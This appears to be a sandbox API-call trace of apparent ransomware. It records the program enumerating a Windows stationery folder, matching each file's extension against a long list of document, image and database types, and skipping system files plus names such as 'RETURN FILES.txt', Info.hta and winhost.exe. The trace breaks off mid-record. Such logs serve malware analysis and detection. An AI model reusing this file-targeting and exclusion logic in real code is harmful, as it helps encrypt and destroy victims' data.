lstrlenW (lpString=".dqy") returned 4 [0079.922] lstrcmpiW (lpString1=".dqy", lpString2=".jpg") returned -1 [0079.922] lstrlenW (lpString=".dsn") returned 4 [0079.923] lstrcmpiW (lpString1=".dsn", lpString2=".jpg") returned -1 [0079.923] lstrlenW (lpString=".dt") returned 3 [0079.923] lstrcmpiW (lpString1=".dt", lpString2="jpg") returned -1 [0079.923] lstrlenW (lpString=".dtd") returned 4 [0079.923] lstrcmpiW (lpString1=".dtd", lpString2=".jpg") returned -1 [0079.923] lstrlenW (lpString=".dwg") returned 4 [0079.923] lstrcmpiW (lpString1=".dwg", lpString2=".jpg") returned -1 [0079.923] lstrlenW (lpString=".dwt") returned 4 [0079.923] lstrcmpiW (lpString1=".dwt", lpString2=".jpg") returned -1 [0079.923] lstrlenW (lpString=".dx") returned 3 [0079.923] lstrcmpiW (lpString1=".dx", lpString2="jpg") returned -1 [0079.923] lstrlenW (lpString=".dxf") returned 4 [0079.923] lstrcmpiW (lpString1=".dxf", lpString2=".jpg") returned -1 [0079.923] lstrlenW (lpString=".edml") returned 5 [0079.923] lstrcmpiW (lpString1=".edml", lpString2="t.jpg") returned -1 [0079.923] lstrlenW (lpString=".efd") returned 4 [0079.923] lstrcmpiW (lpString1=".efd", lpString2=".jpg") returned -1 [0079.923] lstrlenW (lpString=".elf") returned 4 [0079.923] lstrcmpiW (lpString1=".elf", lpString2=".jpg") returned -1 [0079.923] lstrlenW (lpString=".emf") returned 4 [0079.923] lstrcmpiW (lpString1=".emf", lpString2=".jpg") returned -1 [0079.924] lstrlenW (lpString=".emz") returned 4 [0079.924] lstrcmpiW (lpString1=".emz", lpString2=".jpg") returned -1 [0079.924] lstrlenW (lpString=".epf") returned 4 [0079.924] lstrcmpiW (lpString1=".epf", lpString2=".jpg") returned -1 [0079.924] lstrlenW (lpString=".eps") returned 4 [0079.924] lstrcmpiW (lpString1=".eps", lpString2=".jpg") returned -1 [0079.924] lstrlenW (lpString=".epsf") returned 5 [0079.924] lstrcmpiW (lpString1=".epsf", lpString2="t.jpg") returned -1 [0079.924] lstrlenW (lpString=".epsp") returned 5 [0079.924] lstrcmpiW (lpString1=".epsp", lpString2="t.jpg") returned -1 [0079.924] lstrlenW (lpString=".erf") returned 4 [0079.924] lstrcmpiW (lpString1=".erf", lpString2=".jpg") returned -1 [0079.924] lstrlenW (lpString=".exr") returned 4 [0079.924] lstrcmpiW (lpString1=".exr", lpString2=".jpg") returned -1 [0079.924] lstrlenW (lpString=".f4v") returned 4 [0079.924] lstrcmpiW (lpString1=".f4v", lpString2=".jpg") returned -1 [0079.924] lstrlenW (lpString=".fido") returned 5 [0079.924] lstrcmpiW (lpString1=".fido", lpString2="t.jpg") returned -1 [0079.924] lstrlenW (lpString=".flm") returned 4 [0079.924] lstrcmpiW (lpString1=".flm", lpString2=".jpg") returned -1 [0079.924] lstrlenW (lpString=".flv") returned 4 [0079.925] lstrcmpiW (lpString1=".flv", lpString2=".jpg") returned -1 [0079.925] lstrlenW (lpString=".frm") returned 4 [0079.925] lstrcmpiW (lpString1=".frm", lpString2=".jpg") returned -1 [0079.925] lstrlenW (lpString=".fxg") returned 4 [0079.925] lstrcmpiW (lpString1=".fxg", lpString2=".jpg") returned -1 [0079.925] lstrlenW (lpString=".geo") returned 4 [0079.925] lstrcmpiW (lpString1=".geo", lpString2=".jpg") returned -1 [0079.925] lstrlenW (lpString=".gif") returned 4 [0079.925] lstrcmpiW (lpString1=".gif", lpString2=".jpg") returned -1 [0079.925] lstrlenW (lpString=".grs") returned 4 [0079.925] lstrcmpiW (lpString1=".grs", lpString2=".jpg") returned -1 [0079.925] lstrlenW (lpString=".gz") returned 3 [0079.925] lstrcmpiW (lpString1=".gz", lpString2="jpg") returned -1 [0079.925] lstrlenW (lpString=".h") returned 2 [0079.925] lstrcmpiW (lpString1=".h", lpString2="pg") returned -1 [0079.925] lstrlenW (lpString=".hdr") returned 4 [0079.925] lstrcmpiW (lpString1=".hdr", lpString2=".jpg") returned -1 [0079.925] lstrlenW (lpString=".hpp") returned 4 [0079.925] lstrcmpiW (lpString1=".hpp", lpString2=".jpg") returned -1 [0079.926] lstrlenW (lpString=".hta") returned 4 [0079.926] lstrcmpiW (lpString1=".hta", lpString2=".jpg") returned -1 [0079.926] lstrlenW (lpString=".htc") returned 4 [0079.926] lstrcmpiW (lpString1=".htc", lpString2=".jpg") returned -1 [0079.926] lstrlenW (lpString=".htm") returned 4 [0079.926] lstrcmpiW (lpString1=".htm", lpString2=".jpg") returned -1 [0079.926] lstrlenW (lpString=".html") returned 5 [0079.926] lstrcmpiW (lpString1=".html", lpString2="t.jpg") returned -1 [0079.926] lstrlenW (lpString=".icb") returned 4 [0079.926] lstrcmpiW (lpString1=".icb", lpString2=".jpg") returned -1 [0079.926] lstrlenW (lpString=".ics") returned 4 [0079.926] lstrcmpiW (lpString1=".ics", lpString2=".jpg") returned -1 [0079.926] lstrlenW (lpString=".iff") returned 4 [0079.926] lstrcmpiW (lpString1=".iff", lpString2=".jpg") returned -1 [0079.926] lstrlenW (lpString=".inc") returned 4 [0079.926] lstrcmpiW (lpString1=".inc", lpString2=".jpg") returned -1 [0079.926] lstrlenW (lpString=".indd") returned 5 [0079.926] lstrcmpiW (lpString1=".indd", lpString2="t.jpg") returned -1 [0079.927] lstrlenW (lpString=".ini") returned 4 [0079.927] lstrcmpiW (lpString1=".ini", lpString2=".jpg") returned -1 [0079.927] lstrlenW (lpString=".iqy") returned 4 [0079.927] lstrcmpiW (lpString1=".iqy", lpString2=".jpg") returned -1 [0079.927] lstrlenW (lpString=".j2c") returned 4 [0079.927] lstrcmpiW (lpString1=".j2c", lpString2=".jpg") returned -1 [0079.927] lstrlenW (lpString=".j2k") returned 4 [0079.927] lstrcmpiW (lpString1=".j2k", lpString2=".jpg") returned -1 [0079.927] lstrlenW (lpString=".java") returned 5 [0079.927] lstrcmpiW (lpString1=".java", lpString2="t.jpg") returned -1 [0079.927] lstrlenW (lpString=".jp2") returned 4 [0079.927] lstrcmpiW (lpString1=".jp2", lpString2=".jpg") returned -1 [0079.927] lstrlenW (lpString=".jpc") returned 4 [0079.927] lstrcmpiW (lpString1=".jpc", lpString2=".jpg") returned -1 [0079.928] lstrlenW (lpString=".jpe") returned 4 [0079.928] lstrcmpiW (lpString1=".jpe", lpString2=".jpg") returned -1 [0079.928] lstrlenW (lpString=".jpeg") returned 5 [0079.928] lstrcmpiW (lpString1=".jpeg", lpString2="t.jpg") returned -1 [0079.928] lstrlenW (lpString=".jpf") returned 4 [0079.928] lstrcmpiW (lpString1=".jpf", lpString2=".jpg") returned -1 [0079.928] lstrlenW (lpString=".jpg") returned 4 [0079.928] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0079.928] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0079.928] lstrlenW (lpString=".data") returned 5 [0079.928] lstrcmpiW (lpString1=".data", lpString2="t.jpg") returned -1 [0079.928] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0079.928] lstrcmpiW (lpString1="boot.ini", lpString2="Blue_Gradient.jpg") returned 1 [0079.928] lstrcmpiW (lpString1="bootfont.bin", lpString2="Blue_Gradient.jpg") returned 1 [0079.928] lstrcmpiW (lpString1="ntldr", lpString2="Blue_Gradient.jpg") returned 1 [0079.928] lstrcmpiW (lpString1="ntdetect.com", lpString2="Blue_Gradient.jpg") returned 1 [0079.928] lstrcmpiW (lpString1="io.sys", lpString2="Blue_Gradient.jpg") returned 1 [0079.929] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="Blue_Gradient.jpg") returned 1 [0079.929] lstrcmpiW (lpString1="Info.hta", lpString2="Blue_Gradient.jpg") returned 1 [0079.929] lstrcmpiW (lpString1="winhost.exe", lpString2="Blue_Gradient.jpg") returned 1 [0079.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0079.929] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0079.929] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0079.929] lstrlenW (lpString=".1cd") returned 4 [0079.929] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0079.929] lstrlenW (lpString=".3ds") returned 4 [0079.929] lstrcmpiW (lpString1=".3ds", lpString2=".gif") returned -1 [0079.929] lstrlenW (lpString=".3fr") returned 4 [0079.929] lstrcmpiW (lpString1=".3fr", lpString2=".gif") returned -1 [0079.929] lstrlenW (lpString=".3g2") returned 4 [0079.929] lstrcmpiW (lpString1=".3g2", lpString2=".gif") returned -1 [0079.930] lstrlenW (lpString=".3gp") returned 4 [0079.930] lstrcmpiW (lpString1=".3gp", lpString2=".gif") returned -1 [0079.930] lstrlenW (lpString=".7z") returned 3 [0079.930] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0079.930] lstrlenW (lpString=".accda") returned 6 [0079.930] lstrcmpiW (lpString1=".accda", lpString2="gs.gif") returned -1 [0079.930] lstrlenW (lpString=".accdb") returned 6 [0079.930] lstrcmpiW (lpString1=".accdb", lpString2="gs.gif") returned -1 [0079.930] lstrlenW (lpString=".accdc") returned 6 [0079.930] lstrcmpiW (lpString1=".accdc", lpString2="gs.gif") returned -1 [0079.930] lstrlenW (lpString=".accde") returned 6 [0079.930] lstrcmpiW (lpString1=".accde", lpString2="gs.gif") returned -1 [0079.930] lstrlenW (lpString=".accdt") returned 6 [0079.930] lstrcmpiW (lpString1=".accdt", lpString2="gs.gif") returned -1 [0079.930] lstrlenW (lpString=".accdw") returned 6 [0079.931] lstrcmpiW (lpString1=".accdw", lpString2="gs.gif") returned -1 [0079.931] lstrlenW (lpString=".adb") returned 4 [0079.931] lstrcmpiW (lpString1=".adb", lpString2=".gif") returned -1 [0079.931] lstrlenW (lpString=".adp") returned 4 [0079.931] lstrcmpiW (lpString1=".adp", lpString2=".gif") returned -1 [0079.931] lstrlenW (lpString=".ai") returned 3 [0079.931] lstrcmpiW (lpString1=".ai", lpString2="gif") returned -1 [0079.931] lstrlenW (lpString=".ai3") returned 4 [0079.931] lstrcmpiW (lpString1=".ai3", lpString2=".gif") returned -1 [0079.931] lstrlenW (lpString=".ai4") returned 4 [0079.931] lstrcmpiW (lpString1=".ai4", lpString2=".gif") returned -1 [0079.931] lstrlenW (lpString=".ai5") returned 4 [0079.931] lstrcmpiW (lpString1=".ai5", lpString2=".gif") returned -1 [0079.931] lstrlenW (lpString=".ai6") returned 4 [0079.931] lstrcmpiW (lpString1=".ai6", lpString2=".gif") returned -1 [0079.931] lstrlenW (lpString=".ai7") returned 4 [0079.931] lstrcmpiW (lpString1=".ai7", lpString2=".gif") returned -1 [0079.932] lstrlenW (lpString=".ai8") returned 4 [0079.932] lstrcmpiW (lpString1=".ai8", lpString2=".gif") returned -1 [0079.932] lstrlenW (lpString=".anim") returned 5 [0079.932] lstrcmpiW (lpString1=".anim", lpString2="s.gif") returned -1 [0079.932] lstrlenW (lpString=".arw") returned 4 [0079.932] lstrcmpiW (lpString1=".arw", lpString2=".gif") returned -1 [0079.932] lstrlenW (lpString=".as") returned 3 [0079.932] lstrcmpiW (lpString1=".as", lpString2="gif") returned -1 [0079.932] lstrlenW (lpString=".asa") returned 4 [0079.932] lstrcmpiW (lpString1=".asa", lpString2=".gif") returned -1 [0079.932] lstrlenW (lpString=".asc") returned 4 [0079.932] lstrcmpiW (lpString1=".asc", lpString2=".gif") returned -1 [0079.933] lstrlenW (lpString=".ascx") returned 5 [0079.933] lstrcmpiW (lpString1=".ascx", lpString2="s.gif") returned -1 [0079.933] lstrlenW (lpString=".asm") returned 4 [0079.933] lstrcmpiW (lpString1=".asm", lpString2=".gif") returned -1 [0079.933] lstrlenW (lpString=".asmx") returned 5 [0079.933] lstrcmpiW (lpString1=".asmx", lpString2="s.gif") returned -1 [0079.933] lstrlenW (lpString=".asp") returned 4 [0079.933] lstrcmpiW (lpString1=".asp", lpString2=".gif") returned -1 [0079.933] lstrlenW (lpString=".aspx") returned 5 [0079.933] lstrcmpiW (lpString1=".aspx", lpString2="s.gif") returned -1 [0079.933] lstrlenW (lpString=".asr") returned 4 [0079.933] lstrcmpiW (lpString1=".asr", lpString2=".gif") returned -1 [0079.934] lstrlenW (lpString=".asx") returned 4 [0079.934] lstrcmpiW (lpString1=".asx", lpString2=".gif") returned -1 [0079.934] lstrlenW (lpString=".avi") returned 4 [0079.934] lstrcmpiW (lpString1=".avi", lpString2=".gif") returned -1 [0079.934] lstrlenW (lpString=".avs") returned 4 [0079.934] lstrcmpiW (lpString1=".avs", lpString2=".gif") returned -1 [0079.934] lstrlenW (lpString=".backup") returned 7 [0079.934] lstrcmpiW (lpString1=".backup", lpString2="ngs.gif") returned -1 [0079.934] lstrlenW (lpString=".bak") returned 4 [0079.934] lstrcmpiW (lpString1=".bak", lpString2=".gif") returned -1 [0079.934] lstrlenW (lpString=".bay") returned 4 [0079.934] lstrcmpiW (lpString1=".bay", lpString2=".gif") returned -1 [0079.934] lstrlenW (lpString=".bd") returned 3 [0079.934] lstrcmpiW (lpString1=".bd", lpString2="gif") returned -1 [0079.934] lstrlenW (lpString=".bin") returned 4 [0079.935] lstrcmpiW (lpString1=".bin", lpString2=".gif") returned -1 [0079.935] lstrlenW (lpString=".bmp") returned 4 [0079.935] lstrcmpiW (lpString1=".bmp", lpString2=".gif") returned -1 [0079.935] lstrlenW (lpString=".bz2") returned 4 [0079.935] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0079.935] lstrlenW (lpString=".c") returned 2 [0079.935] lstrcmpiW (lpString1=".c", lpString2="if") returned -1 [0079.935] lstrlenW (lpString=".cdr") returned 4 [0079.935] lstrcmpiW (lpString1=".cdr", lpString2=".gif") returned -1 [0079.935] lstrlenW (lpString=".cer") returned 4 [0079.935] lstrcmpiW (lpString1=".cer", lpString2=".gif") returned -1 [0079.935] lstrlenW (lpString=".cf") returned 3 [0079.935] lstrcmpiW (lpString1=".cf", lpString2="gif") returned -1 [0079.935] lstrlenW (lpString=".cfc") returned 4 [0079.935] lstrcmpiW (lpString1=".cfc", lpString2=".gif") returned -1 [0079.935] lstrlenW (lpString=".cfm") returned 4 [0079.936] lstrcmpiW (lpString1=".cfm", lpString2=".gif") returned -1 [0079.936] lstrlenW (lpString=".cfml") returned 5 [0079.936] lstrcmpiW (lpString1=".cfml", lpString2="s.gif") returned -1 [0079.936] lstrlenW (lpString=".cfu") returned 4 [0079.936] lstrcmpiW (lpString1=".cfu", lpString2=".gif") returned -1 [0079.936] lstrlenW (lpString=".chm") returned 4 [0079.936] lstrcmpiW (lpString1=".chm", lpString2=".gif") returned -1 [0079.936] lstrlenW (lpString=".cin") returned 4 [0079.936] lstrcmpiW (lpString1=".cin", lpString2=".gif") returned -1 [0079.936] lstrlenW (lpString=".class") returned 6 [0079.936] lstrcmpiW (lpString1=".class", lpString2="gs.gif") returned -1 [0079.936] lstrlenW (lpString=".clx") returned 4 [0079.936] lstrcmpiW (lpString1=".clx", lpString2=".gif") returned -1 [0079.936] lstrlenW (lpString=".config") returned 7 [0079.936] lstrcmpiW (lpString1=".config", lpString2="ngs.gif") returned -1 [0079.936] lstrlenW (lpString=".cpp") returned 4 [0079.937] lstrcmpiW (lpString1=".cpp", lpString2=".gif") returned -1 [0079.937] lstrlenW (lpString=".cr2") returned 4 [0079.937] lstrcmpiW (lpString1=".cr2", lpString2=".gif") returned -1 [0079.937] lstrlenW (lpString=".crt") returned 4 [0079.937] lstrcmpiW (lpString1=".crt", lpString2=".gif") returned -1 [0079.937] lstrlenW (lpString=".crw") returned 4 [0079.937] lstrcmpiW (lpString1=".crw", lpString2=".gif") returned -1 [0079.937] lstrlenW (lpString=".cs") returned 3 [0079.937] lstrcmpiW (lpString1=".cs", lpString2="gif") returned -1 [0079.937] lstrlenW (lpString=".css") returned 4 [0079.937] lstrcmpiW (lpString1=".css", lpString2=".gif") returned -1 [0079.937] lstrlenW (lpString=".csv") returned 4 [0079.937] lstrcmpiW (lpString1=".csv", lpString2=".gif") returned -1 [0079.937] lstrlenW (lpString=".cub") returned 4 [0079.938] lstrcmpiW (lpString1=".cub", lpString2=".gif") returned -1 [0079.938] lstrlenW (lpString=".dae") returned 4 [0079.938] lstrcmpiW (lpString1=".dae", lpString2=".gif") returned -1 [0079.938] lstrlenW (lpString=".dat") returned 4 [0079.938] lstrcmpiW (lpString1=".dat", lpString2=".gif") returned -1 [0079.938] lstrlenW (lpString=".db") returned 3 [0079.938] lstrcmpiW (lpString1=".db", lpString2="gif") returned -1 [0079.938] lstrlenW (lpString=".dbf") returned 4 [0079.938] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0079.938] lstrlenW (lpString=".dbx") returned 4 [0079.938] lstrcmpiW (lpString1=".dbx", lpString2=".gif") returned -1 [0079.938] lstrlenW (lpString=".dc3") returned 4 [0079.938] lstrcmpiW (lpString1=".dc3", lpString2=".gif") returned -1 [0079.938] lstrlenW (lpString=".dcm") returned 4 [0079.939] lstrcmpiW (lpString1=".dcm", lpString2=".gif") returned -1 [0079.939] lstrlenW (lpString=".dcr") returned 4 [0079.939] lstrcmpiW (lpString1=".dcr", lpString2=".gif") returned -1 [0079.939] lstrlenW (lpString=".der") returned 4 [0079.939] lstrcmpiW (lpString1=".der", lpString2=".gif") returned -1 [0079.939] lstrlenW (lpString=".dib") returned 4 [0079.939] lstrcmpiW (lpString1=".dib", lpString2=".gif") returned -1 [0079.939] lstrlenW (lpString=".dic") returned 4 [0079.939] lstrcmpiW (lpString1=".dic", lpString2=".gif") returned -1 [0079.939] lstrlenW (lpString=".dif") returned 4 [0079.939] lstrcmpiW (lpString1=".dif", lpString2=".gif") returned -1 [0079.939] lstrlenW (lpString=".divx") returned 5 [0079.939] lstrcmpiW (lpString1=".divx", lpString2="s.gif") returned -1 [0079.939] lstrlenW (lpString=".djvu") returned 5 [0079.939] lstrcmpiW (lpString1=".djvu", lpString2="s.gif") returned -1 [0079.940] lstrlenW (lpString=".dng") returned 4 [0079.940] lstrcmpiW (lpString1=".dng", lpString2=".gif") returned -1 [0079.940] lstrlenW (lpString=".doc") returned 4 [0079.940] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0079.940] lstrlenW (lpString=".docm") returned 5 [0079.940] lstrcmpiW (lpString1=".docm", lpString2="s.gif") returned -1 [0079.940] lstrlenW (lpString=".docx") returned 5 [0079.940] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0079.940] lstrlenW (lpString=".dot") returned 4 [0079.940] lstrcmpiW (lpString1=".dot", lpString2=".gif") returned -1 [0079.940] lstrlenW (lpString=".dotm") returned 5 [0079.940] lstrcmpiW (lpString1=".dotm", lpString2="s.gif") returned -1 [0079.940] lstrlenW (lpString=".dotx") returned 5 [0079.941] lstrcmpiW (lpString1=".dotx", lpString2="s.gif") returned -1 [0079.941] lstrlenW (lpString=".dpx") returned 4 [0079.941] lstrcmpiW (lpString1=".dpx", lpString2=".gif") returned -1 [0079.941] lstrlenW (lpString=".dqy") returned 4 [0079.941] lstrcmpiW (lpString1=".dqy", lpString2=".gif") returned -1 [0079.941] lstrlenW (lpString=".dsn") returned 4 [0079.941] lstrcmpiW (lpString1=".dsn", lpString2=".gif") returned -1 [0079.941] lstrlenW (lpString=".dt") returned 3 [0079.941] lstrcmpiW (lpString1=".dt", lpString2="gif") returned -1 [0079.941] lstrlenW (lpString=".dtd") returned 4 [0079.941] lstrcmpiW (lpString1=".dtd", lpString2=".gif") returned -1 [0079.941] lstrlenW (lpString=".dwg") returned 4 [0079.941] lstrcmpiW (lpString1=".dwg", lpString2=".gif") returned -1 [0079.941] lstrlenW (lpString=".dwt") returned 4 [0079.941] lstrcmpiW (lpString1=".dwt", lpString2=".gif") returned -1 [0079.941] lstrlenW (lpString=".dx") returned 3 [0079.941] lstrcmpiW (lpString1=".dx", lpString2="gif") returned -1 [0079.942] lstrlenW (lpString=".dxf") returned 4 [0079.942] lstrcmpiW (lpString1=".dxf", lpString2=".gif") returned -1 [0079.942] lstrlenW (lpString=".edml") returned 5 [0079.942] lstrcmpiW (lpString1=".edml", lpString2="s.gif") returned -1 [0079.942] lstrlenW (lpString=".efd") returned 4 [0079.942] lstrcmpiW (lpString1=".efd", lpString2=".gif") returned -1 [0079.942] lstrlenW (lpString=".elf") returned 4 [0079.942] lstrcmpiW (lpString1=".elf", lpString2=".gif") returned -1 [0079.942] lstrlenW (lpString=".emf") returned 4 [0079.942] lstrcmpiW (lpString1=".emf", lpString2=".gif") returned -1 [0079.942] lstrlenW (lpString=".emz") returned 4 [0079.942] lstrcmpiW (lpString1=".emz", lpString2=".gif") returned -1 [0079.942] lstrlenW (lpString=".epf") returned 4 [0079.942] lstrcmpiW (lpString1=".epf", lpString2=".gif") returned -1 [0079.942] lstrlenW (lpString=".eps") returned 4 [0079.943] lstrcmpiW (lpString1=".eps", lpString2=".gif") returned -1 [0079.943] lstrlenW (lpString=".epsf") returned 5 [0079.943] lstrcmpiW (lpString1=".epsf", lpString2="s.gif") returned -1 [0079.943] lstrlenW (lpString=".epsp") returned 5 [0079.943] lstrcmpiW (lpString1=".epsp", lpString2="s.gif") returned -1 [0079.943] lstrlenW (lpString=".erf") returned 4 [0079.943] lstrcmpiW (lpString1=".erf", lpString2=".gif") returned -1 [0079.943] lstrlenW (lpString=".exr") returned 4 [0079.943] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0079.944] lstrlenW (lpString="Connectivity.gif") returned 16 [0079.944] lstrlenW (lpString=".1cd") returned 4 [0079.944] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0079.944] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0079.945] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0079.945] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0079.945] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0079.946] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0079.946] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0079.946] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0079.946] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0079.947] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0079.947] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0079.947] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, 